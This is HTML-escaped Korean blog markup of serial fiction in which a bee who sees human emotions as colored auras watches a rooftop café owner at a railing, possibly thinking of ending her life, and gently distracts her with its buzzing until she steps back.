&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 문장은, 오늘 하루 동안 내 눈에 들어온 색들을 묶어 주는 유일한 실 같았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 아직 행복이 무엇인지 모른다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다만 이제, 한 가지는 확실히 알게 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복은 어디에만 있는 것이 아니라,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어디에나 조금씩, 다른 색으로 숨어 있다는 것.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 나는 내일도 다시 도시 위를 날 것이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃을 향해서만이 아니라, 레몬빛과 노란 선과 금빛 실을 향해서.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내가 붙잡지 못한 색들까지 포함해, 이 도시 전체가 어떻게 겨우 버티고 있는지, 조금 더 잘 보기 위해.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그게 아마, 지금의 나에게 주어진 일일 것이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃과 인간, 둘 다를 보는 눈으로서.&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3편 〈난간 위의 무채색〉&amp;nbsp;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시는 하루에 한 번, 색을 갈아입는다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아침의 노란 빛이 점심의 흰빛으로, 저녁의 주황빛으로 옮겨 붙는 동안, 그 아래를 사는 존재들은 제각각의 이유로 웃고 울고 견딘다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘에게 그 변화는, 날아오르기 전부터 느껴졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집 안의 공기가 조금씩 가벼워질 때, 밀랍 벽 사이로 들어오는 빛의 온도가 달라질 때, 그는 알았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;아, 오늘도 도시가 다른 얼굴을 준비하는구나.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그날 루멘은, 꿀보다 마음이 더 무거웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철에서 본 레몬빛, 공원에서 본 노랑의 선, 병원에서 본 금빛 실.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 모든 색이 머릿속에 겹겹이 쌓여, 하나의 질문을 만들어 내고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;그렇다면, 저 검푸른 균열빛은 무엇이어야 하지?&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;자꾸만 떠오르는 얼굴이 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옥상 난간 위, 웃는 입술과 전혀 다른 색을 가진 인간. 검푸른 균열 아래에서 미소를 유지하던 그 얼굴을 떠올리는 일은, 이제 어렵지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 벌집으로 돌아와도, 자꾸 그쪽으로 시선이 돌아갔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 원래 보기만 하는 벌이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보이는 것을 꿀로 옮기고, 꿀을 다시 꽃으로 돌려주는 단순한 순환.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 인간의 색을 보기 시작한 순간, 질문이 생겼다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;보는 것만으로 충분할까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;​&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘은, 그 질문에 조금 더 가까이 가 보고 싶었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옥상으로 &amp;ndash; 푸른 하루의 균열&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 날개를 폈다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옥상까지 가는 길은 이제 익숙했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;빌딩 벽을 따라 나선형으로 올라가는 공기의 흐름, 유리창에 부딪혔다 다시 튕겨 나오는 빛의 방향, 배기구에서 뿜어져 나오는 뜨거운 공기를 피해 가는 방법.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;몸이 먼저 길을 기억하고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옥상 난간이 시야에 들어왔을 때, 루멘의 가슴께가 먼저 떨렸다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그곳은 멀리서 보기에는 늘 비슷했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;회색 바닥, 철제 난간, 그 옆에 놓인 몇 개의 화분, 그리고 작은 카페의 문.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 루멘의 눈에는, 그 위를 감싸고 있는 오라의 패턴이 매번 조금씩 달랐다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘의 옥상은, 대체로 푸른 하우 였다. 하늘은 맑았고, 바람의 결은 잔잔했고 옥상전체를 감싸는 오라는 얆은 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;블루&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;에 가까웠다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;차분함, 약간의 평화, 감정을 억누른 이들의 침묵이 섞인 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 그 푸른빛 한가운데, 늘 그렇듯 한 사람만은 다른 색을 품고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 이제 그 이름을 어렴풋이 안다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다른 인간들이 그녀를 부를 때 나오는 소리를, 여러 날에 걸쳐 색과 함께 기억해 둔 덕분이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;지영 씨, 오늘도 일찍 오셨네요.&amp;rdquo;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;사장님, 라떼 한 잔이요.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;사장, 지영.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 두 개의 말이 한 인간을 가리킨다는 것을 루멘은 이해했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집에서라면 &amp;lsquo;여왕&amp;rsquo;과 비슷한 위치일지 모른다. 이 공간을 열고 닫는 손, 이곳에 오는 인간들의 흐름을 조절하는 존재.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;멀리서 볼 때, 지영의 빛은 예전보다 조금 달라져 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;예전에는 웃음 위로 깊게 새겨진 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;검푸른 균열빛&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 가장 먼저 눈에 들어왔다. 얼굴은 웃고 있는데, 가슴께에서부터 올라온 어둠이 입가 아래 어딘가에 고여 있는 모습.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘의 지영은, 조금 달라져 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이제는 그 균열 사이사이에 아주 얇은 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옐로우&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가 스며 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;책임감과 피로 사이에서 겨우 유지되는 작은 자신감, 버티기 위해 만들어낸 미약한 긍정의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 빛을 처음 본 순간, 루멘의 가슴에는 작은 안도감이 들었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;아, 지난 며칠간의 레몬빛과 금빛들이, 어쩌면 이곳까지 흘러 들어왔을지도 몰라.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 안도감은 오래가지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영이 난간 쪽으로 걸어가기 시작했기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 움직임은 느렸고, 아주 자연스러워 보였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘의 눈에는, 오히려 그 자연스러움이 더 위험하게 느껴졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;마치, 오래 고민한 끝에 내린 결정을 연습하듯 반복하는 사람의 발걸음처럼.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;난간 근처로 다가갈수록, 옐로우는 희미해지고, &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그린&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;빛이 번졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관계와 지침, 이 공간과 사람들을 지켜야 한다는 책임감, 그리고 그 책임에 지친 마음의 색..&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영은 아래를 내려다보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;수십 층 아래, 차들이 개미처럼 움직이고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;신호등의 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;블루&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;와 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그린&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 번갈아 켜지고, 사람들은 작은 점처럼 횡단보도를 건넜다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 광경을 바라보는 지영의 등 뒤로, 아주 흐릿한 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;바이올렛&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 피어올랐다. 혼란과 성장통, 어디로 가야 할지 모르는 마음이 내는 색이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 그 등 뒤를 보는 순간, 이해했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;오늘, 이 난간은 하나의 경계선이구나.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;삶과 죽음의 경계선이 아니라,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;머무름과 떠남의 경계선, 버팀과 포기의 경계선, 책임과 도망 사이의 아주 얇은 선.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영이 난간에 두 손을 올려놓자, 그의 손목 주변에서 &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;레드&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가 잠깐 번쩍였다&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;열정인지, 분노인지, 아니면 마지막 결심의 빛인지 헷갈리는 색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 도시 여기저기에서 이 레드를 본 적이 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;거리의 싸움, 날 선 말이 오가는 카페 구석, 갑작스러운 브레이크 소리 속에서.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;언제나 위험은 이 강렬한 붉은색으로 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;경계선 &amp;ndash; 피하거나, 바꾸려 들거나&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내 몸이 먼저 반응했다. 가슴께가 조여 들고, 날개가 저절로 떨렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;타인의 어두운 빛을 보면, 사람들은 두 가지를 한다.피하거나, 바꾸려고 들거나.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 그 둘 사이에서 오래 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그냥 지켜보는 것이 잔인한지, 바꾸려 드는 것이 오만한지, 어느 쪽도 쉽게 답이 나오지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 지하철의 레몬빛, 공원의 노란 선, 병원의 금빛 실을 떠올렸다.그 빛들은 각각 다르게 움직였지만, 공통점이 하나 있었다. 어디에도 혼자서는 생기지 않는 색이라는 것. 언제나 둘 이상이 서로 닿을 때 생기는 빛이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;그렇다면, 지금 이 난간 위에서도&amp;hellip;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어떤 닿음이 하나만 더 있으면, 색이 달라질 수 있을까?&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 생각은, 너무 큰 바람일지도 모른다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌 한 마리가 인간의 세계를 바꿀 수 있다고 믿는다면, 그것은 분명 과장일 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그렇다고 아무것도 하지 않는다면, 내가 본 색들을 어디에 두어야 할까.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결국 내가 할 수 있는 건, 아주 작은 개입 정도였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;한 번 더 날아가 주는 것, 한 번 더 곁에 머무는 것.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 지영의 등 뒤로 조심스럽게 다가갔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;작은 개입 &amp;ndash; 날갯짓과 마젠타&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영의 등 위에는 여러 색이 뒤섞여 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가슴께에서 올라온 바이올렛, 어깨를 감싸는 블루, 주변 공기에 스며든 그린.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위로 올라갈수록 혼란과 성장통의 색이, 아래로 내려갈수록 책임과 피로의 색이 진해졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;​손목 주변의 레드는 여전히 날카롭게 빛나고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 몸을 들어 올리고, 지영의 얼굴 높이까지 올라갔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 할 수 있는 가장 큰 소리를 냈다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;윙-&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인간의 귀에는 그저 성가신 벌소리일 뿐이겠지만, 그 소리는 내게 있어 가장 진지한 신호였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;날개를 빠르게 떨 때, 내 몸 주변에 작은 오렌지 파형이 생기는 것이 느껴졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철의 레몬빛, 공원의 노란 선, 병원의 금빛 실을 기억하고 있는 몸이, 그 색들의 진동을 한 번에 불러내는 듯했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 진동들이 얼마나 멀리, 얼마나 깊게 닿을 수 있을지는 알 수 없다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 나는 알고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아무것도 하지 않는 것보다는, 이렇게라도 한 번 닿아 보는 편이, 적어도 나 자신의 눈앞에서는 더 정직하다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영의 어깨가 미세하게 움찔했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그녀가 고개를 옆으로 돌려 나를 보는 순간, 눈동자 주변에 아주 얇은 마젠타가 스쳤다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;포용과 고독, 잠깐의 자기 연민, 쉼에 가까운 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영은 난간에서 손을 살짝 떼었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;아, 벌이네&amp;hellip;&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 말은 상황을 묘사하는 가벼운 문장에 불과했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 그 말을 하는 동안, 손목의 레드는 눈에 띄게 옅어졌고, 가슴께의 바이올렛이 조금 더 넓어졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;바이올렛은 성장통의 색이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어디로 가야 할지 모를 때, 방향을 틀기 직전의 혼란이 내는 빛.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;삶을 끝내려는 생각이 가장 강할 때, 색은 오히려 단순해진다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하나의 어둠이 모든 것을 덮어 버린다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 지금 지영의 빛은, 처음보다 더 복잡해지고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;여러 색이 서로를 밀치고, 섞이고, 아직 결론을 내리지 않은 빛.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;적어도 오늘 이 난간은, 한쪽으로 완전히 기울어지지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관측자라는 자리&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영이 카페 안으로 돌아가 문을 닫았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;유리문 너머에서 그녀는 익숙한 미소를 얼굴에 걸었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옥상 위의 공기는 다시 푸른빛으로 안정되었다.&lt;/span&gt;&lt;/p&gt;
